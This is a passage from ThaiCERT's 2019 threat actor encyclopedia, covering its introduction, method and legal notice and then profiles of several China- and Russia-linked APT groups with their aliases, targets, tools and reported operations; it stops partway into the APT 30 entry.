TEMP.Periscope........................................................................................................................ 139 +Longhorn, The Lamberts ............................................................................................................................................. 141 +Lotus Blossom, Spring Dragon .................................................................................................................................. 142 +Lucky Cat ....................................................................................................................................................................... 144 +Lurk ................................................................................................................................................................................. 145 +Mabna Institutem, Silent Librarian ............................................................................................................................. 146 +Madi ................................................................................................................................................................................ 147 +Magic Hound, APT 35, Cobalt Gypsy, Rocket Kitten ............................................................................................. 148 +Threat Group Cards: A Threat Actor Encyclopedia +Moafee ........................................................................................................................................................................... 151 +Mofang ........................................................................................................................................................................... 152 +Molerats, Extreme Jackal, Gaza Cybergang ........................................................................................................... 153 +MoneyTaker .................................................................................................................................................................. 157 +MuddyWater, Seedworm, TEMP.Zagros, Static Kitten .......................................................................................... 158 +Mustang Panda............................................................................................................................................................. 161 +Naikon, Lotus Panda ................................................................................................................................................... 162 +Neodymium ................................................................................................................................................................... 164 +NetTraveler, APT 21 .................................................................................................................................................... 165 +Night Dragon ................................................................................................................................................................. 166 +Nightshade Panda, APT 9, Group 27........................................................................................................................ 167 +Nitro, Covert Grove ...................................................................................................................................................... 168 +OilRig, APT 34, Helix Kitten ........................................................................................................................................ 169 +Subgroup: Greenbug ............................................................................................................................................... 173 +Operation BugDrop ...................................................................................................................................................... 174 +Operation Ghoul ........................................................................................................................................................... 175 +Operation Groundbait .................................................................................................................................................. 176 +Operation Parliament ................................................................................................................................................... 177 +Operation Potao Express ............................................................................................................................................ 178 +Orangeworm ................................................................................................................................................................. 179 +PassCV .......................................................................................................................................................................... 180 +Patchwork, Dropping Elephant................................................................................................................................... 181 +Pirate Panda, APT 23, KeyBoy .................................................................................................................................. 183 +PittyTiger, Pitty Panda ................................................................................................................................................. 184 +Platinum ......................................................................................................................................................................... 186 +Poseidon Group............................................................................................................................................................ 187 +Promethium ................................................................................................................................................................... 188 +Putter Panda, APT 2 .................................................................................................................................................... 189 +Rancor............................................................................................................................................................................ 190 +Reaper, APT 37, Ricochet Chollima.......................................................................................................................... 191 +Roaming Tiger .............................................................................................................................................................. 194 +RTM ................................................................................................................................................................................ 195 +Sandworm Team, Iron Viking, Voodoo Bear............................................................................................................ 196 +Samurai Panda, APT 4 ................................................................................................................................................ 197 +Threat Group Cards: A Threat Actor Encyclopedia +ScarCruft........................................................................................................................................................................ 198 +Scarlet Mimic................................................................................................................................................................. 200 +Sea Turtle ...................................................................................................................................................................... 201 +Shadow Network .......................................................................................................................................................... 202 +Silence ........................................................................................................................................................................... 203 +Sima ............................................................................................................................................................................... 204 +Slingshot ........................................................................................................................................................................ 205 +Snake Wine ................................................................................................................................................................... 206 +Snowglobe, Animal Farm ............................................................................................................................................ 207 +Sofacy, APT 28, Fancy Bear, Sednit ......................................................................................................................... 208 +Sowbug .......................................................................................................................................................................... 216 +Stalker Panda ............................................................................................................................................................... 217 +Stealth Falcon, FruityArmor ........................................................................................................................................ 218 +Stolen Pencil ................................................................................................................................................................. 219 +Stone Panda, APT 10, menuPass ............................................................................................................................. 220 +Strider, ProjectSauron ................................................................................................................................................. 223 +Suckfly............................................................................................................................................................................ 224 +TA459 ............................................................................................................................................................................. 225 +TA505 ............................................................................................................................................................................. 226 +Taidoor ........................................................................................................................................................................... 228 +TeamSpy Crew ............................................................................................................................................................. 229 +TeleBots ......................................................................................................................................................................... 230 +Temper Panda, admin@338 ...................................................................................................................................... 232 +TEMP.Veles .................................................................................................................................................................. 233 +Terbium .......................................................................................................................................................................... 234 +Thrip ............................................................................................................................................................................... 235 +Transparent Tribe, APT 36 ......................................................................................................................................... 236 +Tropic Trooper .............................................................................................................................................................. 238 +Turla, Waterbug, Venomous Bear ............................................................................................................................. 239 +Urpage ........................................................................................................................................................................... 243 +Volatile Cedar ............................................................................................................................................................... 244 +Whitefly .......................................................................................................................................................................... 245 +Wicked Spider, APT 22 ............................................................................................................................................... 246 +Wild Neutron, Butterfly, Sphinx Moth ........................................................................................................................ 247 +Threat Group Cards: A Threat Actor Encyclopedia +Winnti Group, Blackfly, Wicked Panda ..................................................................................................................... 249 +WindShift ....................................................................................................................................................................... 251 +[Unnamed group] .......................................................................................................................................................... 252 +Some Other Prolific Criminal Groups ............................................................................................................................ 253 +Achilles ........................................................................................................................................................................... 253 +Dungeon Spider............................................................................................................................................................ 254 +Fxmsp............................................................................................................................................................................. 255 +Gnosticplayers .............................................................................................................................................................. 256 +Gold Lowell, Boss Spider ............................................................................................................................................ 258 +Grim Spider ................................................................................................................................................................... 259 +Hacking Team ............................................................................................................................................................... 260 +Indrik Spider .................................................................................................................................................................. 261 +Lunar Spider.................................................................................................................................................................. 262 +Mummy Spider, TA542 ................................................................................................................................................ 263 +Operation Comando..................................................................................................................................................... 264 +OurMine ......................................................................................................................................................................... 265 +Pacha Group ................................................................................................................................................................. 266 +Pinchy Spider ................................................................................................................................................................ 267 +Rocke ............................................................................................................................................................................. 268 +Shadow Brokers ........................................................................................................................................................... 269 +[Vault 7/8]....................................................................................................................................................................... 271 +Wizard Spider ............................................................................................................................................................... 272 +Zombie Spider............................................................................................................................................................... 273 +APPENDIX: Sources Used ............................................................................................................................................. 274 +Threat Group Cards: A Threat Actor Encyclopedia +Introduction +When analyzing security incidents we always face the question which adversary we are possibly dealing with and what we +know about their prior engagements and TTP, to get a better understanding of how to approach and what else to look for. +This document aims to create full profiles of all threat groups worldwide that have been identified with all research +generously shared by anti-virus and security research organizations over the years. It can be used as +threat group +cards +, as the document title suggests, to have everything together in an elaborate profile for each threat group. All dates +shown in the cards are the dates when the stated activities started, not necessarily when the reports about them came +out. +All information in this document comes from public sources (OSINT). The difficult part of attributing campaigns to actors +has been done by those security research organizations as well. What makes this difficult is the fact that there may be +some overlap between threat groups, where they share tools or people move between groups, or when groups suddenly +change tactics or type of target. +Not all groups have been publicly documented as well as others; most groups have remained rather obscure and, of +course, not all individual campaigns resulted in public knowledge + targeted companies usually don +t welcome such +exposure. +As a National CERT, ThaiCERT has a strictly neutral role and everything collected in this document does in no way signify +specific endorsements, placing blame on countries or taking sides. +With that said, compiling this document has been a tremendously interesting journey into the dark world of cybercrime and +the groups associated with it. +Note: Users of the MISP can also use the MISP Threat Actor cluster (galaxy) located at +Approach +In order to obtain an initial set of actors, we perused the public archives from MISP, MITRE and the volunteer overview on +Google Docs (resource 1-3 in the APPENDIX: Sources Used). +Generally, those, as well as media reports about threats, tend to lump everything together as aliases or synonyms + be it +actual group names as tracked by research organizations, alleged (state) sponsor names, individual campaigns run by the +group or specific pieces of malware used by the group. In this report, aliases are only listed as such if we could +realistically determine it to be a fact, generally because we found which organization gave it that name. Everything else +known about each actor has been split off into the relevant fields (sponsors, operations, tools). +The next step was to search our Risk Intelligence archive and after that, using our favorite Internet search engine for any +public news about each and every actor to find all their campaigns and other activities that have been discovered. +Analysis of those (thousands of) reports created the total overview of all tools used and where this actor has been +observed in terms of countries and sectors. +Lastly, we went over the entire rich archive known as Malpedia to augment the set with malware names that had not +appeared in the reports we saw. +In each step we took great care to make sure only Open Source Intelligence appeared in this document. +Threat Group Cards: A Threat Actor Encyclopedia +Legal Notice +This encyclopedia has been developed to catalog all known important adversaries to information security, with the aim to +get a better understanding of international threats and to aid in faster response to future incidents. The content is based +on the public knowledge of the security community and not solely the view of ThaiCERT and ETDA. It may not necessarily +represent state-of-the-art and it might be updated from time to time. +Third party sources are quoted as appropriate. ThaiCERT is not responsible for the content of the external sources, +including external websites, nor their continued availability, referenced in this encyclopedia. +Where specific vendors or product names are given, those do not mean endorsement from ThaiCERT, but serve to +document history only. +This encyclopedia is intended for educational and information purposes only. Neither ThaiCERT nor any person acting on +its behalf is responsible for the use that might be made of the information contained in this encyclopedia. All information +contained herein is provided on an +As Is + basis with no warranty whatsoever. ThaiCERT/ETDA does not promise any +specific result, effects or outcome from the use of the information herein. +This encyclopedia is published under a Creative Commons AttributionNonCommercial-ShareAlike 4.0 International License1. +Copyright + Electronic Transactions Development Agency (Public Organization), 2019 +Acknowledgements +ThaiCERT express our sincere gratitude to the various CERT teams and security research organizations who peerreviewed this document and provided valuable input and feedback. We are also very grateful for the security researchers +who published so many and so detailed reports, as well as, indirectly, all the volunteers who contributed to the projects we +could consult (listed in the APPENDIX: Sources Used). +1 Creative Commons License: +Threat Group Cards: A Threat Actor Encyclopedia +Advanced Persistent Threat (APT) Groups +Cybereason provides the following definition of an Advanced Persistent Threat: +An advanced persistent threat is a stealthy cyberattack in which a person or group gains unauthorized +access to a network and remains undetected for an extended period. The term's definition was +traditionally associated with nation-state sponsorship, but over the last few years we +ve seen multiple +examples of non-nation state groups conducting large-scale targeted intrusions for specific goals. +Apart from all the APT groups profiled in this chapter, there are of course others, but no public information is available +about them. Especially CrowdStrike has been very active in researching APT groups and mentioned the following names +in passing, in summary reports: Big Panda, Foxy Panda, Hammer Panda, Impersonating Panda, Judgement Panda, +Karma Panda, Keyhole Panda, Kryptonite Panda, Maverick Panda, Nomad Panda, Poisonous Panda, Predator Panda, +Toxic Panda, Union Panda, Wet Panda, Corsair Jackal and Ghost Jackal. +Threat Group Cards: A Threat Actor Encyclopedia +Anchor Panda, APT 14 +Names +Anchor Panda (CrowdStrike) +APT 14 (Mandiant) +Aluminium (Microsoft) +QAZTeam +Country +China +Sponsor +State-sponsored, PLA Navy +Motivation +Information theft and espionage +Description +(CrowdStrike) Anchor Panda is an adversary that CrowdStrike has tracked +extensively over the last year targeting both civilian and military maritime +operations in the green/brown water regions primarily in the area of operations of +the South Sea Fleet of the PLA Navy. In addition to maritime operations in this +region, Anchor Panda also heavily targeted western companies in the US, +Germany, Sweden, the UK, and Australia, and other countries involved in +maritime satellite systems, aerospace companies, and defense contractors. +Not surprisingly, embassies and diplomatic missions in the region, foreign +intelligence services, and foreign governments with space programs were also +targeted. +Observed +Sectors: Aerospace, Defense, Engineering, Government, Industrial and NGOs in +the green/brown water regions primarily in the area of operations of the South +Sea Fleet of the PLA Navy. +Countries: Australia, Germany, Sweden, UK, USA and others. +Tool used +Gh0st RAT, Poison Ivy and Torn RAT. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Allanite +Names +Allanite (Dragos) +Palmetto Fusion (DHS) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Dragos) Allanite accesses business and industrial control (ICS) networks, conducts +reconnaissance, and gathers intelligence in United States and United Kingdom +electric utility sectors. Dragos assesses with moderate confidence that Allanite +operators continue to maintain ICS network access to: (1) understand the +operational environment necessary to develop disruptive capabilities, (2) have +ready access from which to disrupt electric utilities. +Allanite uses email phishing campaigns and compromised websites called watering +holes to steal credentials and gain access to target networks, including collecting +and distributing screenshots of industrial control systems. Allanite operations limit +themselves to information gathering and have not demonstrated any disruptive or +damaging capabilities. +Allanite conducts malware-less operations primarily leveraging legitimate and +available tools in the Windows operating system. +Observed +Sectors: Energy. +Countries: UK and USA. +Tools used +Inveigh, Powershell scripts, PSExec, SecreetsDump and THC Hydra. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +APT 3, Gothic Panda, Buckeye +Names +APT 3 (Mandiant) +Gothic Panda (CrowdStrike) +Buckeye (Symantec) +TG-0110 (SecureWorks) +UPS Team (Symantec) +Group 6 (Talos) +Country +China +Sponsor +State-sponsored, Ministry of State Security and Internet security firm Guangzhou +Bo Yu Information Technology Company Limited ( +Boyusec +Motivation +Information theft and espionage +Description +(Recorded Future) APT3 (also known as UPS, Gothic Panda, and TG-011) is a +sophisticated threat group that has been active since at least 2010. APT3 utilizes a +broad range of tools and techniques including spear-phishing attacks, zero-day +exploits, and numerous unique and publicly available remote access tools (RAT). +Victims of APT3 intrusions include companies in the defense, telecommunications, +transportation, and advanced technology sectors + as well as government +departments and bureaus in Hong Kong, the U.S., and several other countries. +Observed +Sectors: Aerospace, Construction, Defense, High-Tech, Manufacturing, +Technology, Telecommunications and Transportation. +Countries: Belgium, Hong Kong, Italy, Luxembourg, Philippines, Sweden, UK, USA +and Vietnam. +Tools used +APT3 Keylogger, Bemstour, CookieCutter, DoublePulsar, EternalBlue, HTran, +Hupigon, Kaba, LaZagne, OSInfo, Pirpi, PlugX, shareip, SHOTPUT, TTCalc, +w32times and several 0-days for IE, Firefox and Flash. +Operations +performed +2007 +Hupigon and Pirpi Backdoors + +Apr 2014 +Operation +Clandestine Fox +FireEye Research Labs identified a new Internet Explorer (IE) zeroday exploit used in targeted attacks. The vulnerability affects IE6 +through IE11, but the attack is targeting IE9 through IE11. This zeroday bypasses both ASLR and DEP. Microsoft has assigned CVE2014-1776 to the vulnerability and released security advisory to track +this issue. + +Jun 2014 +Operation +Clandestine Fox +, Part Deux +While Microsoft quickly released a patch to help close the door on +future compromises, we have now observed the threat actors behind +Operation Clandestine Fox + shifting their point of attack and using a +new vector to target their victims: social networking. + +Nov 2014 +Operation +Double Tap +Threat Group Cards: A Threat Actor Encyclopedia +This actor initiated their most recent campaign on November 19, 2014 +targeting multiple organizations. The attacker leveraged multiple +exploits, targeting both CVE-2014-6332 and CVE-2014-4113. + +Counter +operations +Jun 2015 +Operation +Clandestine Wolf +In the last several weeks, APT3 actors launched a large-scale +phishing campaign against organizations in the following industries: +Aerospace and Defense, Construction and Engineering, High Tech, +Telecommunications and Transportation. + +Mar 2016 +Variant of the DoublePulsar Backdoor +Beginning in March 2016, Buckeye began using a variant of +DoublePulsar (Backdoor.Doublepulsar), a backdoor that was +subsequently released by the Shadow Brokers in 2017. DoublePulsar +was delivered to victims using a custom exploit tool (Trojan.Bemstour) +that was specifically designed to install DoublePulsar. + +DOJ reveals indictment against Chinese cyber spies that stole U.S. business +secrets (2017) + +U.S. Charges Three Chinese Hackers Who Work at Internet Security Firm for +Hacking Three Corporations for Commercial Advantage (2017) + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 5 +Names +APT 5 (FireEye) +Country +China +Motivation +Information theft and espionage +Description +(FireEye) We have observed one APT group, which we call APT5, particularly +focused on telecommunications and technology companies. More than half of the +organizations we have observed being targeted or breached by APT5 operate in +these sectors. Several times, APT5 has targeted organizations and personnel +based in Southeast Asia. +APT5 has been active since at least 2007. It appears to be a large threat group +that consists of several subgroups, often with distinct tactics and infrastructure. +APT5 has targeted or breached organizations across multiple industries, but its +focus appears to be on telecommunications and technology companies, +especially information about satellite communications. +APT5 targeted the network of an electronics firm that sells products for both +industrial and military applications. The group subsequently stole communications +related to the firm +s business relationship with a national military, including +inventories and memoranda about specific products they provided. +In one case in late 2014, APT5 breached the network of an international +telecommunications company. The group used malware with keylogging +capabilities to monitor the computer of an executive who manages the company +relationships with other telecommunications companies +Observed +Sectors: Defense, High-Tech, Industrial, Technology and Telecommunications. +Countries: Southeast Asia. +Tools used +LEOUNCIA. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +APT 6 +Names +APT 6 (FireEye) +1.php Group (Zscaler) +Country +China +Motivation +Information theft and espionage +Description +(Kaspersky) The FBI issued a rare bulletin admitting that a group named +Advanced Persistent Threat 6 (APT6) hacked into US government computer +systems as far back as 2011 and for years stole sensitive data. +The FBI alert was issued in February and went largely unnoticed. Nearly a month +later, security experts are now shining a bright light on the alert and the +mysterious group behind the attack. +This is a rare alert and a little late, but one that is welcomed by all security +vendors as it offers a chance to mitigate their customers and also collaborate +further in what appears to be an ongoing FBI investigation, + said Deepen Desai, +director of security research at the security firm Zscaler in an email to Threatpost. +Details regarding the actual attack and what government systems were infected +are scant. Government officials said they knew the initial attack occurred in 2011, +but are unaware of who specifically is behind the attacks. +Given the nature of malware payload involved and the duration of this +compromise being unnoticed + the scope of lateral movement inside the +compromised network is very high possibly exposing all the critical systems, +Deepen said. +Observed +Sectors: Government. +Countries: USA. +Tools used +Poison Ivy. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +APT 12, Numbered Panda +Names +APT 12 (Mandiant) +Numbered Panda (CrowdStrike) +TG-2754 (SecureWorks) +BeeBus (FireEye) +Calc Team (Symantec) +Group 22 (Talos) +Crimson Iron (ThreatConnect) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(CrowdStrike) Numbered Panda has a long list of high-profile victims and is known +by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. +Numbered Panda has targeted a variety of victims including but not limited to media +outlets, high-tech companies, and multiple governments. Numbered Panda has +targeted organizations in time-sensitive operations such as the Fukushima Reactor +Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation +operations. Screen saver files, which are binary executables and PDF documents, +are common Numbered Panda weaponization tactics. One of the most interesting +techniques that Numbered Panda likes to use is to dynamically calculate the +Command and Control (C2) port by resolving a DNS. This effectively helps +Numbered Panda bypass egress filtering implemented to prevent unauthorized +communications on some enterprises. The malware will typically use two DNS +names for communication: one is used for command and control; the other is used +with an algorithm to calculate the port to communicate to. +Observed +Sectors: Defense, Electronics, Government, High-Tech, Telecommunications and +journalists. +Countries: East Asia (mostly Japan and Taiwan). +Tools used +AUMLIB, DynCalc/DNSCalc, ETUMBOT, HIGHTIDE, IXESHE, RapidStealer, +RIPTIDE, THREEBYTE and WaterSpout. +Operations +performed +Jul 2009 +IXESHE + campaign +Target: East Asian governments, Taiwanese electronics +manufacturers and a telecommunications company. + +May 2011 +AUMLIB + campaign + +2011 +ETUMBOT + campaign +Target: Taiwan +Once the malicious file was downloaded and extracted by the victim, +Etumbot uses a right-to-left override exploit to trick the victim to +download the malware installer. According to Arbor Security, the +technique is a simple way for malware writers to disguise names of +malicious files. A hidden Unicode character in the filename will reverse +the order of the characters that follow it, so that a .scr binary file +appears to be a .xls document, for example. +Threat Group Cards: A Threat Actor Encyclopedia + +Oct 2012 +Breach of The New York Times +For the last four months, Chinese hackers have persistently attacked +The New York Times, infiltrating its computer systems and getting +passwords for its reporters and other employees. +The attack occurred after the New York Times published a story about +how the relatives of Wen Jiabao, the sixth Premier of the State +Council of the People +s Republic of China, +accumulated a fortune +worth several billion dollars through business dealings. + The +computers used to launch the attack are believed to be the same +university computers used by the Chinese military to attack United +States military contractors. + +Oct 2012 +RIPTIDE + campaign +Spear-phishing on Taiwanese Government +Aug 2014 +HIGHTIDE + campaign +Spear-phishing on Taiwanese Government +Uses an updated version of ETUMBOT. +Aug 2014 +THREEBYTE + campaign +Spear-phishing on Taiwanese Government +Aug 2014 +WATERSPOUT + campaign +Spear-phishing on Taiwanese Government +Nov 2016 +CNACOM + campaign +On November 7, we spotted a malicious injection on the registration +page of a major Taiwanese public service website. An iframe was +injected into the footer of the page, which then loaded a unique +landing page containing the CVE-2016-0189 exploit code. + +Information + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 16, SVCMONDR +Names +APT 16 (Mandiant) +SVCMONDR (Kaspersky) +Country +China +Motivation +Information theft and espionage +Description +(FireEye) Between November 26, 2015, and December 1, 2015, known and +suspected China-based APT groups launched several spear-phishing attacks +targeting Japanese and Taiwanese organizations in the high-tech, government +services, media and financial services industries. Each campaign delivered a +malicious Microsoft Word document exploiting the aforementioned EPS dict copy +use-after-free vulnerability, and the local Windows privilege escalation +vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities +led to the delivery of either a downloader that we refer to as IRONHALO, or a +backdoor that we refer to as ELMER. +Observed +Sectors: Financial, Government, High-Tech and Media. +Countries: Japan, Taiwan and Thailand. +Tools used +ELMER, IRONHALO and SVCMONDR. +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 17, Deputy Dog +Names +APT 17 (Mandiant) +Tailgater Team (Symantec) +Dogfish (iDefense) +Deputy Dog (iDefense) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +APT 17 is a China-based threat group that has conducted network intrusions +against U.S. government entities, the defense industry, law firms, information +technology companies, mining companies, and non-government organizations. +This group appears to be closely associated with Hidden Lynx, Aurora Panda. +Observed +Sectors: Defense, Government, IT, Mining, NGOs and lawyers. +Countries: Belgium, China, Germany, Indonesia, Italy, Japan, Netherlands, +Switzerland, Russia, UK and USA. +Tools used +9002 RAT, BLACKCOFFEE, DeputyDog, HiKit, PlugX and several 0-days for IE. +Operations +performed +Jul 2012 +Breach of Bit9 +Bit9, a company that provides software and network security services +to the U.S. government and at least 30 Fortune 100 firms, has +suffered an electronic compromise that cuts to the core of its +business: helping clients distinguish known +safe + files from computer +viruses and other malicious software. + +Aug 2013 +Operation +DeputyDog +Target: Organizations in Japan +Method: Campaign leveraging the then recently announced zero-day +CVE-2013-3893. + +Nov 2013 +Operation +Ephemeral Hydra +Method: Inserting a zero-day exploit into a strategically important +website, known to draw visitors that are likely interested in national +and international security policy. + +Aug 2017 +Operation +RAT Cook +Method: Spear-phishing attack using a Game of Thrones lure. + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 18, Dynamite Panda, Wekby +Names +APT 18 (Mandiant) +Dynamite Panda (CrowdStrike) +TG-0416 (SecureWorks) +Wekby (Palo Alto) +Scandium (Microsoft) +Country +China +Sponsor +State-sponsored, PLA Navy +Motivation +Information theft and espionage +Description +Wekby was described by Palo Alto Networks in a 2015 report as: +Wekby is a group +that has been active for a number of years, targeting various industries such as +healthcare, telecommunications, aerospace, defense, and high tech. The group is +known to leverage recently released exploits very shortly after those exploits are +available, such as in the case of Hacking Team +s Flash zero + day exploit. +This threat group has been seen since 2009. +Observed +Sectors: Aerospace, Biotechnology, Construction, Defense, Education, +Engineering, Healthcare, High-Tech, Telecommunications and Transportation. +Countries: USA. +Tools used +Gh0st RAT, hcdLoader, HTTPBrowser, Pisloader, Roseam, StickyFingers and 0day exploits for Flash. +Operations +performed +Apr 2014 +Community Health Systems data breach + + +Jun 2015 +Attacks using DNS Requests as Command and Control Mechanism +Method: Phishing with obfuscated variants of the HTTPBrowser tool. + + +May 2016 +Attacks using DNS Requests as Command and Control Mechanism +Target: Organizations in the USA. +Method: Phishing with Pisloader dropper. + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 19, C0d0so +Names +APT 19 (Mandiant) +Codoso (CrowdStrike) +Sunshop Group (FireEye) +Country +China +Sponsor +A group likely composed of freelancers, with some degree of sponsorship by the +Chinese government. (FireEye) +Motivation +Information theft and espionage +Description +APT 19 is a Chinese-based threat group that has targeted a variety of industries, +including defense, finance, energy, pharmaceutical, telecommunications, high tech, +education, manufacturing, and legal services. In 2017, a phishing campaign was +used to target seven law and investment firms. Some analysts track APT19 and +DarkHydrus as the same group, but it is unclear from open source information if the +groups are the same. +Observed +Sectors: Defense, Education, Energy, Financial, Government, High-Tech, +Manufacturing, Pharmaceutical, Telecommunications, Think Tanks, political +dissidents and Forbes. +Tools used +C0d0so, Cobalt Strike, Empire, Derusbi and a 0-day for Flash. +Operations +performed +Feb 2015 +Attack using Forbes.com as Watering Hole +Method: Compromise of Forbes.com, in which the site was used to +compromise selected targets via a watering hole to a zero-day Adobe +Flash exploit. + +Jan 2016 +Several Watering Hole Attacks + +May 2017 +Phishing campaign targeting at least seven global law and investment +firms. +Method: In early May, the phishing lures leveraged RTF attachments +that exploited the Microsoft Windows vulnerability described in CVE +2017-0199. Toward the end of May, APT19 switched to using macroenabled Microsoft Excel (XLSM) documents. In the most recent +versions, APT19 added an application whitelisting bypass to the +XLSM documents. At least one observed phishing lure delivered a +Cobalt Strike payload. + +Jun 2017 +Attacks on Australian law firms and research body + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 20, Violin Panda +Names +APT 20 (FireEye) +APT 8 (Mandiant) +Violin Panda (Crowdstrike) +TH3Bug (Palo Alto) +Country +China +Motivation +Information theft and espionage +Description +(Palo Alto) We +ve uncovered some new data and likely attribution regarding a +series of APT watering hole attacks this past summer. Watering hole attacks are +an increasingly popular component of APT campaigns, as many people are more +aware of spear phishing and are less likely to open documents or click on links in +unsolicited emails. Watering hole attacks offer a much better chance of success +because they involve compromising legitimate websites and installing malware +intended to compromise website visitors. These are often popular websites +frequented by people who work in specific industries or have political sympathies +to which the actors want to gain access. +In contrast to many other APT campaigns, which tend to rely heavily on spear +phishing to gain victims, +th3bug + is known for compromising legitimate websites +their intended visitors are likely to frequent. Over the summer they compromised +several sites, including a well-known Uyghur website written in that native +language. +Observed +Sectors: Chemical, Construction, Defense, Energy, Engineering, Financial, +Government, Healthcare, High-Tech, Pharmaceutical, Telecommunications and +Transportation. +Countries: East Asia, Thailand, USA and Uyghur sympathizers. +Tools used +CAKELOG, CANDYCLOG, CETTRA, COOKIECLOG, PlugX and Poison Ivy. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +APT 29, Cozy Bear, The Dukes +Names +APT 29 (Mandiant) +Cozy Bear (CrowdStrike) +The Dukes (F-Secure) +Group 100 (Talos) +Yttrium (Microsoft) +Iron Hemlock (SecureWorks) +Minidionis (Palo Alto) +CloudLook (Kaspersky) +Grizzly Steppe (US Government) together with Sofacy, APT 28, Fancy Bear, Sednit +Country +Russia +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(F-Secure) The Dukes are a well-resourced, highly dedicated and organized +cyberespionage group that we believe has been working for the Russian Federation +since at least 2008 to collect intelligence in support of foreign and security policy +decision-making. +The Dukes primarily target Western governments and related organizations, such +as government ministries and agencies, political think tanks, and governmental +subcontractors. Their targets have also included the governments of members of +the Commonwealth of Independent States; Asian, African, and Middle Eastern +governments; organizations associated with Chechen extremism; and Russian +speakers engaged in the illicit trade of controlled substances and drugs. +The Dukes are known to employ a vast arsenal of malware toolsets, which we +identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, +HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have +engaged in apparently biannual large-scale spear-phishing campaigns against +hundreds or even thousands of recipients associated with governmental institutions +and affiliated organizations. +These campaigns utilize a smash-and-grab approach involving a fast but noisy +break-in followed by the rapid collection and exfiltration of as much data as +possible. If the compromised target is discovered to be of value, the Dukes will +quickly switch the toolset used and move to using stealthier tactics focused on +persistent compromise and long-term intelligence gathering. +In addition to these large-scale campaigns, the Dukes continuously and +concurrently engage in smaller, much more targeted campaigns, utilizing different +toolsets. These targeted campaigns have been going on for at least 7 years. The +targets and timing of these campaigns appear to align with the known foreign and +security policy interests of the Russian Federation at those times. +Observed +Sectors: Defense, Energy, Government, Imagery, Law Enforcement, Media, NGOs, +Pharmaceutical, Telecommunications, Think Tanks and Transportation. +Countries: Australia, Azerbaijan, Belarus, Belgium, Brazil, Bulgaria, China, Cyprus, +Czech, France, Georgia, Germany, Hungary, India, Ireland, Israel, Japan, +Kazakhstan, Kyrgyzstan, Latvia, Lebanon, Lithuania, Luxembourg, Mexico, +Montenegro, Netherlands, New Zealand, Portugal, Romania, Russia, Slovenia, +Spain, South Korea, Turkey, Uganda, Ukraine, USA, Uzbekistan and NATO. +Tools used +ATI-Agent, CloudDuke, Cobalt Strike, CosmicDuke, CozyDuke, CozyCar, +GeminiDuke, HammerDuke, HAMMERTOSS, meek, Mimikatz, MiniDuke, +Threat Group Cards: A Threat Actor Encyclopedia +OnionDuke, PinchDuke, POSHSPY, PowerDuke, SeaDaddy, SeaDuke and +tDiscoverer. +Operations +performed +Feb 2013 +Since the original announcement, we have observed several new +attacks using the same exploit (CVE-2013-0640) which drop other +malware. Between these, we +ve observed a couple of incidents which +are so unusual in many ways that we-ve decided to analyse them in +depth. + +2013 +While the old style Miniduke implants were used to target mostly +government victims, the new style CosmicDuke implants have a +somehow different typology of victims. The most unusual is the +targeting of individuals that appear to be involved in the traffic and +reselling of controlled and illegal substances, such as steroids and +hormones. These victims in the NITRO project have been observed +only in Russia. + +Mar 2014 +Operation +Office monkeys +In March 2014, a Washington, D.C.-based private research institute +was found to have CozyDuke (Trojan.Cozer) on their network. Cozy +Bear then started an email campaign attempting to lure victims into +clicking on a flash video of office monkeys that would also include +malicious executables. By July the group had compromised +government networks and directed CozyDuke-infected systems to +install MiniDuke onto a compromised network. + +Aug 2015 +Attack on the Pentagon in the USA +In August 2015 Cozy Bear was linked to a spear-phishing cyberattack +against the Pentagon email system causing the shutdown of the entire +Joint Staff unclassified email system and Internet access during the +investigation. + +Jun 2016 +Breach of Democratic National Committee +In June 2016, Cozy Bear was implicated alongside the hacker group +Sofacy, APT 28, Fancy Bear, Sednit had only been there a few weeks. +Cozy Bear's more sophisticated tradecraft and interest in traditional +long-term espionage suggest that the group originates from a +separate Russian intelligence agency. + +Aug 2016 +Attacks on US think tanks and NGOs +After the United States presidential election, 2016, Cozy Bear was +linked to a series of coordinated and well-planned spear-phishing +campaigns against U.S.-based think tanks and non-governmental +organizations (NGOs). + +Threat Group Cards: A Threat Actor Encyclopedia +Counter +operations +Jan 2017 +Attacks on the Norwegian Government +On February 3, 2017, the Norwegian Police Security Service (PST) +reported that attempts had been made to spear-phish the email +accounts of nine individuals in the Ministry of Defense, Ministry of +Foreign Affairs, and the Labour Party. The acts were attributed to +Cozy Bear, whose targets included the Norwegian Radiation +Protection Authority, PST section chief Arne Christian Haugst +yl, and +an unnamed college. + +Feb 2017 +Attack on Dutch ministries +In February 2017, the General Intelligence and Security Service +(AIVD) of the Netherlands revealed that Fancy Bear and Cozy Bear +had made several attempts to hack into Dutch ministries, including the +Ministry of General Affairs, over the previous six months. Rob +Bertholee, head of the AIVD, said on EenVandaag that the hackers +were Russian and had tried to gain access to secret government +documents. + +Nov 2018 +Phishing campaign in the USA +Target: Multiple industries, including think tank, law enforcement, +media, U.S. military, imagery, transportation, pharmaceutical, national +government, and defense contracting. +Method: Phishing email appearing to be from the U.S. Department of +State with links to zip files containing malicious Windows shortcuts +that delivered Cobalt Strike Beacon. + +Dutch agencies provide crucial intel about Russia's interference in US-elections +(2014) + +Mueller indicts 12 Russians for DNC hacking as Trump-Putin summit looms +(2018) + +Information + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 30, Override Panda +Names 